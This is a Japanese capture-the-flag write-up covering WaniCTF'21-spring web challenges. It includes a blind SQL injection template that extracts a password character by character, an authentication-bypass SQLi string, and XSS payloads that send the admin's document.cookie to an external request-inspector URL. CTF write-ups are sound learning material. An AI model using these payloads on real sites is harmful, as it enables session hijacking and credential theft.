WaniCTF'21-spring write-up
Webとpwnだけ少しだけ解けました。
意味わからん時間に起床したので、write-upをメモとして残しておきます。
はてなブログの使い方を一切忘れてしまって、Markdownで書けませんでした。
ソースコードとかいい感じにやる方法がわからなかったので、分かり次第きれいにします。
目次
Web
fake(Beginner, 136pt)
偽物を見破れますか?
urlを開くと大量のLinkボタンが表示されます。
ブラウザ上でCtrl+Uなどしてソースを見ると一つだけaタグがありました。
そこに飛んで終了。
Wani Request 1(Easy, 148pt)
RequestBinを使ってみよう!!
この問題ではあどみんちゃんから自分のサーバにアクセスしてもらう必要があります。
自前でサーバを用意するのが難しい方はRequestBinなどのサービスを利用してみましょう。
サーバが用意出来たらいよいよ本番です。
問題ページにアクセスし、あなたが用意したサーバのURLを送信してください。
送信するとあどみんちゃんの秘密のページにあなたの送信したURLのリンクが表示されます。
あどみんちゃんは表示されたリンクをクリックしてあなたのサーバにアクセスしてくれます。
あどみんちゃんからのアクセスを分析して秘密のページを探してみてください。
URLを投稿することができ、そのURLにアクセスしてくれるようです。素直にRequestbinを使って、URLを送信したところ、Requestbinにあどみんちゃんからアクセスが来ていました。Refererを見ると、元いたページのURLがわかるかも知れません。RefererのURLをブラウザで開くと終了。
exception(Easy, 186pt)
API Gateway, Lambda, S3, CloudFront, CloudFormationを使ってアプリを作ってみました。
ソースコードが配られています。ソースコードを見ると、例外を起こすことでflagを見られるようです。nameは文字列連結されていたので、数値として送って見たら例外が発生しました。
{"name":1}を送ると終了。
watch animal(Very hard, 219pt)
スーパーかわいい動物が見れるWebサービスを作ったよ。
のメアドの人のパスワードがフラグです。
ソースコードを見るに、SQLiっぽいです。ここ。
SELECT * FROM users WHERE email = ' . $email . ' AND password = ' . $password . '
単順なSQLi(' OR 'A'='A)を行っても、ログインできるがパスワードがわかりません。
Blind-SQLiを試してみます。
emailにはとりあえずwanictf21spring@gmail.comを使っておくことにしました。
副問合せとかsubstringとかよくわからなかったのでググっていい感じにしました。
"A' OR substring((SELECT password FROM users WHERE email='wanictf21spring@gmail.com'), {}, 1) = '{}' -- ".format(num, string)
numには何文字目かを指定するようにして、stringはASCII範囲内の文字を動かしていくようにしました。
もっときれいに書けそう。とりあえず終了。
Wani Request 2(Normal, 250pt)
XSS Challenge !!
チャレンジは二つです。
あどみんちゃんのクッキーを手に入れてください。
Wani Request 1 と同じくRequestBinなどを利用してみましょう。
これソースコードの存在に今気づいたので、見なくても解けそうです。
ロゴ的にVueが使われてるんやろなぁぐらい。
page1とpage2があり、共にXSS問題な模様。
page1ではwani=に指定した文字を表示するようなので、ここにJSを書けば良さそうです。
僕がチャレンジした時間、requestbinに繋がらない状態だったので
requestbin 代わり
で検索したら出てきたRequest Inspectorを使いました。
おそらくcookieを取ればいいので、
<img src="X" onerror="location.href=`https://requestinspector.com/inspect/01f4p9q1maywear85cjkwjbega?q=${document.cookie}`;";/>
を投げると終了。
page2
こちらはURLを入力し、入力したURLのリンクをクリックしてくれるようです。
page1と同じ方針で適当に、
javascript:location.href=`https://requestinspector.com/inspect/01f4p9q1maywear85cjkwjbega?q=${document.cookie}`
を投げると終了。
CloudFront Basic Auth(Hard, 282pt)
これは時間内には解けませんでした。全部Apexが悪い。
CTFの期間が終了した瞬間に解けてるチームメイトに教えてもらいました。
教えをメモとして残します。チームサイコー。
exceptionの問題と同じように例外を発生させると、エラーログが見れますが、そこでAPI GateWayのURLがわかるという。
Cloudfront経由で見るとBasic認証がありますが、直接見に行けば問題ないということでした。
Host情報を見ると、***.execute-api.us-east-1.amazonaws.comとありました。
このURLに/Prod/adminを付けてアクセスすると、flagが表示されました。
AWS苦手すぎた。僕解けて。
pwn書く元気がありませんでした。さようなら。